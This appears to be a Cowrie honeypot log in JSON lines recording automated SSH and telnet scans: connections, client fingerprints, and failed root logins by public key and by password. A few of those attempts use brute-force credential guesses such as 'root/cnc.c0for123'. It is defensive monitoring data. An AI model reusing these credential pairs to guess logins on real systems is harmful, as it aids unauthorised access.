{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0A9ygwwTMIvnaHvDvl4U5x2YRC94SCIRJmem131n8Gc0i5R6xMDFGi+SIParbr+LdWewjyCChJNXXxLbUE6GPaqkQMEGT3M4F/niuTwx+QeMW88MiZNo1t0+EtGCtMNCjxDPntunuMZLhsnrsMYFwSrVWVUoM8zh6kkFWBMNPz2a/BNuQ7rki2HE0t3Gitnsdd4r9NuXvW/gizIIecp9ho+GuI25zwWS5PV9xJcNMHNn7h5hsrD4eM/nYW/lks86RmNtaWRsn6p0WiYPv97Fb/p6b0uYzPXHzVliCNrrmedNONVhrsaWY1dhyqvJkVQDRohAV4j39gYUVXEDqdH+a3rWAHdaMLKuv7vPhiNNMKeaN2u4ysrJ14f0/t5JOkgk5GPKbQ/ThsLOohqYEFmvZFsClPRDNJ+z/x87IWY0X62ChjC7hAfqL8r5Yy9ACz99FXTjV1xM2K1LU5Fc223oIdqjm/Oqq0dITlqMiBCExczIy6+UFoEr94LBRyFspwfBdBJGMaZ7BBQP43XXkD8G0UzEAis7PrNLrCPZyJwFjd83zmQCU59HMmOxLeT1paLZA6NM3zsN/6a3iEiJFLSE4LS3MH+eqe3EPt+K6tfKVtj3EUFhNcptBS2Tul5FLqvvNdXcuHbAcT0hx4Lmlmcb+2/W9/R/djydvj7NpL+cZvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.661078Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdnBFtlYKJBBbI9hItYif7VDaDPEEZCXWwSfRgclMUp/uwQxmk+szIFkLAVpztOMiubA+jgzkxQRAr/P3OR32f6BpLYDawGPmDd5vYWoGKO3eb49BoyOhUu+RoG7z9fsqXajnMPYOsofXFCCWN3dizZoBL2WaltQwH+0eO4Mv5Yyr4Zwme5RsjcXYXqEzsm25iPkqzLbh8v0wUBJ4thpToZhtQ2ns8/umFeMcUOtoiMS6YfkWPLwLVP/N71/a+Rdx/+bSqQqtvWdSQzqgoAK48qfZYt4E6HBWBMpKCezg3Z7ZDBoGkSnRDZHeQEw3PvJr1y+x6YWbXZAnE1auC+ZEE85mMqzK8xgxIEUE6uaQGsk8RTE9oK1Xzcj//gl5bN0xo/XSCflPuQbln4zic/BIHaM6IWe6MpYUuI18Z6e1hXZ8VUlL6kgsMTMkzOrMMKwMimXn5YBY/lDae2a0qW+1uZKm70QS0NZ/tPVQ/TiONNciDSLyG2+6uLP5S9SGF8QcEF/Ca5KemHpXn/YZ1JhNsEBzr2XmwVYtsbbhI0/0QVdlQ2VUGso9uYF5MOl2asxhs4HxM5QN5QW33mZ/jZKl9qy8ZRPvQLcyB4NC3XULItLcah11auykl6Hs+WHP02CU5p/OhfR6B1rKX8TxfxxXSvK3SRKQh307KMcvBsOT4SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.789307Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdnBFtlYKJBBbI9hItYif7VDaDPEEZCXWwSfRgclMUp/uwQxmk+szIFkLAVpztOMiubA+jgzkxQRAr/P3OR32f6BpLYDawGPmDd5vYWoGKO3eb49BoyOhUu+RoG7z9fsqXajnMPYOsofXFCCWN3dizZoBL2WaltQwH+0eO4Mv5Yyr4Zwme5RsjcXYXqEzsm25iPkqzLbh8v0wUBJ4thpToZhtQ2ns8/umFeMcUOtoiMS6YfkWPLwLVP/N71/a+Rdx/+bSqQqtvWdSQzqgoAK48qfZYt4E6HBWBMpKCezg3Z7ZDBoGkSnRDZHeQEw3PvJr1y+x6YWbXZAnE1auC+ZEE85mMqzK8xgxIEUE6uaQGsk8RTE9oK1Xzcj//gl5bN0xo/XSCflPuQbln4zic/BIHaM6IWe6MpYUuI18Z6e1hXZ8VUlL6kgsMTMkzOrMMKwMimXn5YBY/lDae2a0qW+1uZKm70QS0NZ/tPVQ/TiONNciDSLyG2+6uLP5S9SGF8QcEF/Ca5KemHpXn/YZ1JhNsEBzr2XmwVYtsbbhI0/0QVdlQ2VUGso9uYF5MOl2asxhs4HxM5QN5QW33mZ/jZKl9qy8ZRPvQLcyB4NC3XULItLcah11auykl6Hs+WHP02CU5p/OhfR6B1rKX8TxfxxXSvK3SRKQh307KMcvBsOT4SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.793911Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChdfyoPsRDrmJY/nhagUWbvd5vZZ8ewQo0uW3XzwOb2rSMezFf2NZV0rAuKDhCMFNtc4kmph/VTDMYAQXmpoB+c2I0VUjwGMgnLIrdW6gbAE3/YEW0rJFA2G/r2hq3eu9/Vy+Y0sepUHouIr3rmXBnYOVSOzILbrikM0kVc5aMqFDPv/y4ZGlmayAndlM3sAUZ0+EPR43f/GHl1C0IgsNthz0FXR4zEU09gpMB3S8dZug98kDLm6XA8iGHIAUI0n+bUejUXqKRVhm7bGdUmHKrspNCg8Mgvd76pby8aU+cQUd/hZOtla9U1aG1hQy5H3G9nyK5F1sDY9X5Un8v5FxcB93JxNMsL8CFX2oDZidnqqf64aM/RznF0h95uQllLkwdw1w12zrYc9Jf49ISJq6wt45WsX/tgxQxgMpcVlQsAtcshrgx84ClqWbXYhH5Z85p9o4R/UplA59Y9rIMN0bqjc2sVTD4zcw9N4KnJxQrq2HlxKdowjHE7rHVKYQPb5MFAniXGPrA0Pe9FBwUHA2Nx06tccYxMwhO7T1CLjVnvIfbiOKcBBTElPNLO48lwzdb+ekIIXV96n+ZxSEP/fvyLp7yfOgJiOGcsiEXVu6EegYlvJGLbA2nyccQEcjwcmh85QhsmL31A9urbp5br9ljo5UdfaOH7PNUpHjvjA/qiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.913270Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChdfyoPsRDrmJY/nhagUWbvd5vZZ8ewQo0uW3XzwOb2rSMezFf2NZV0rAuKDhCMFNtc4kmph/VTDMYAQXmpoB+c2I0VUjwGMgnLIrdW6gbAE3/YEW0rJFA2G/r2hq3eu9/Vy+Y0sepUHouIr3rmXBnYOVSOzILbrikM0kVc5aMqFDPv/y4ZGlmayAndlM3sAUZ0+EPR43f/GHl1C0IgsNthz0FXR4zEU09gpMB3S8dZug98kDLm6XA8iGHIAUI0n+bUejUXqKRVhm7bGdUmHKrspNCg8Mgvd76pby8aU+cQUd/hZOtla9U1aG1hQy5H3G9nyK5F1sDY9X5Un8v5FxcB93JxNMsL8CFX2oDZidnqqf64aM/RznF0h95uQllLkwdw1w12zrYc9Jf49ISJq6wt45WsX/tgxQxgMpcVlQsAtcshrgx84ClqWbXYhH5Z85p9o4R/UplA59Y9rIMN0bqjc2sVTD4zcw9N4KnJxQrq2HlxKdowjHE7rHVKYQPb5MFAniXGPrA0Pe9FBwUHA2Nx06tccYxMwhO7T1CLjVnvIfbiOKcBBTElPNLO48lwzdb+ekIIXV96n+ZxSEP/fvyLp7yfOgJiOGcsiEXVu6EegYlvJGLbA2nyccQEcjwcmh85QhsmL31A9urbp5br9ljo5UdfaOH7PNUpHjvjA/qiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.917925Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU5d2UmggB9RgKdf+l6pI8OG7xl+PUYirVVWSjtEFT9RcroE0/i7KWveeV1+7B5EjQvQCSdwdC7xLkAruIqHMozPkMPB4p7XV2syqFJGPVtyf6rxCGYFbCWhc0Czkxl3hAkYnguizICPFSegpAMtyOKvcM/Yp9l+9w4RS61+S9J309WxyTM2qZG5q488WOb4bXKfDzWUKdybH50OOnJCaaoUkn7/I6A1ZP2W+VVDo+9xfJ6r+HiMNEnAVEFzLmqLG+AcpznmkuU1q4Gfkk+mlawjYmEYvOsxauLFBGvmEzReI397MgpEL0hBGubgIvg4Xox72KYoC3xrd7qYBLmkcS8dAq1tP3Q6tzgP9zdqQeVeJeLpxNMa0r8MzictDAlhFm9SW74Pm7CusE/rQXa4vnL+VSbhkFfBOUY8unnAwOe+eGXpsgPHIKl/odyPPwztj76BWKgCSKLbozwUgIGMgmR+2BBYzYoCHH3AYi2UcXll7FtGTBhXh7JbD/nme12EgjDq4456/bNnqKCMuPtOjlAG0+UQ70yIXTEH0HQoAATr96GI0YkWi5xYMjeOM58zZzHjwkOkt4nx17xytRbRDYeMMOpERhOEXmBWfMMdho7ndmF6O4+hqJndOLPfZikbHCkjC5JZOavOtrz+iWDLQB+c8ifxoHI9jW2wuc8Q47HQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:13.031137Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU5d2UmggB9RgKdf+l6pI8OG7xl+PUYirVVWSjtEFT9RcroE0/i7KWveeV1+7B5EjQvQCSdwdC7xLkAruIqHMozPkMPB4p7XV2syqFJGPVtyf6rxCGYFbCWhc0Czkxl3hAkYnguizICPFSegpAMtyOKvcM/Yp9l+9w4RS61+S9J309WxyTM2qZG5q488WOb4bXKfDzWUKdybH50OOnJCaaoUkn7/I6A1ZP2W+VVDo+9xfJ6r+HiMNEnAVEFzLmqLG+AcpznmkuU1q4Gfkk+mlawjYmEYvOsxauLFBGvmEzReI397MgpEL0hBGubgIvg4Xox72KYoC3xrd7qYBLmkcS8dAq1tP3Q6tzgP9zdqQeVeJeLpxNMa0r8MzictDAlhFm9SW74Pm7CusE/rQXa4vnL+VSbhkFfBOUY8unnAwOe+eGXpsgPHIKl/odyPPwztj76BWKgCSKLbozwUgIGMgmR+2BBYzYoCHH3AYi2UcXll7FtGTBhXh7JbD/nme12EgjDq4456/bNnqKCMuPtOjlAG0+UQ70yIXTEH0HQoAATr96GI0YkWi5xYMjeOM58zZzHjwkOkt4nx17xytRbRDYeMMOpERhOEXmBWfMMdho7ndmF6O4+hqJndOLPfZikbHCkjC5JZOavOtrz+iWDLQB+c8ifxoHI9jW2wuc8Q47HQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:13.035828Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:13.152031Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53212,"dst_ip":"10.17.0.5","dst_port":22,"session":"235c0a9533ef","protocol":"ssh","message":"New connection: 193.32.162.145:53212 (10.17.0.5:22) [session: 235c0a9533ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:01:51.712605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:01:51.717452Z","src_ip":"193.32.162.145","session":"235c0a9533ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:01:51.818697Z","src_ip":"193.32.162.145","session":"235c0a9533ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:01:52.192350Z","src_ip":"193.32.162.145","session":"235c0a9533ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:01:53.300800Z","src_ip":"193.32.162.145","session":"235c0a9533ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":54950,"dst_ip":"159.203.135.109","dst_port":22,"session":"6970a58cb276","protocol":"ssh","message":"New connection: 3.129.187.38:54950 (159.203.135.109:22) [session: 6970a58cb276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:02:29.388485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:02:29.393193Z","src_ip":"3.129.187.38","session":"6970a58cb276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:02:29.413637Z","src_ip":"3.129.187.38","session":"6970a58cb276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24312,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b980b5e836","protocol":"telnet","message":"New connection: 212.55.149.117:24312 (10.17.0.5:23) [session: 89b980b5e836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:02:36.920527Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:02:39.388579Z","src_ip":"3.129.187.38","session":"6970a58cb276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":40308,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a7ad6b6b2fe","protocol":"ssh","message":"New connection: 18.218.118.203:40308 (10.17.0.5:22) [session: 9a7ad6b6b2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:13.564316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:13.748208Z","src_ip":"18.218.118.203","session":"9a7ad6b6b2fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:13.753352Z","src_ip":"18.218.118.203","session":"9a7ad6b6b2fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45388,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f2b71cbe069","protocol":"ssh","message":"New connection: 103.15.226.202:45388 (10.17.0.5:22) [session: 6f2b71cbe069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:17.903727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:17.909037Z","src_ip":"103.15.226.202","session":"6f2b71cbe069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:18.151697Z","src_ip":"103.15.226.202","session":"6f2b71cbe069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.53.174.198","src_port":46223,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ffbeb244d5d","protocol":"telnet","message":"New connection: 182.53.174.198:46223 (10.17.0.5:23) [session: 2ffbeb244d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:18.519853Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnc.c0for123","message":"login attempt [root/cnc.c0for123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:18.866227Z","src_ip":"103.15.226.202","session":"6f2b71cbe069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:20.108107Z","src_ip":"103.15.226.202","session":"6f2b71cbe069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:23.748696Z","src_ip":"18.218.118.203","session":"9a7ad6b6b2fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.889920949935913,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:31.409660Z","src_ip":"182.53.174.198","session":"2ffbeb244d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.41200256347656,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:37.332399Z","src_ip":"212.55.149.117","session":"89b980b5e836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.236","src_port":61568,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ce746a4b11","protocol":"ssh","message":"New connection: 92.118.39.236:61568 (10.17.0.5:22) [session: 44ce746a4b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:47.509828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:47.514509Z","src_ip":"92.118.39.236","session":"44ce746a4b11","protocol":"ssh"}
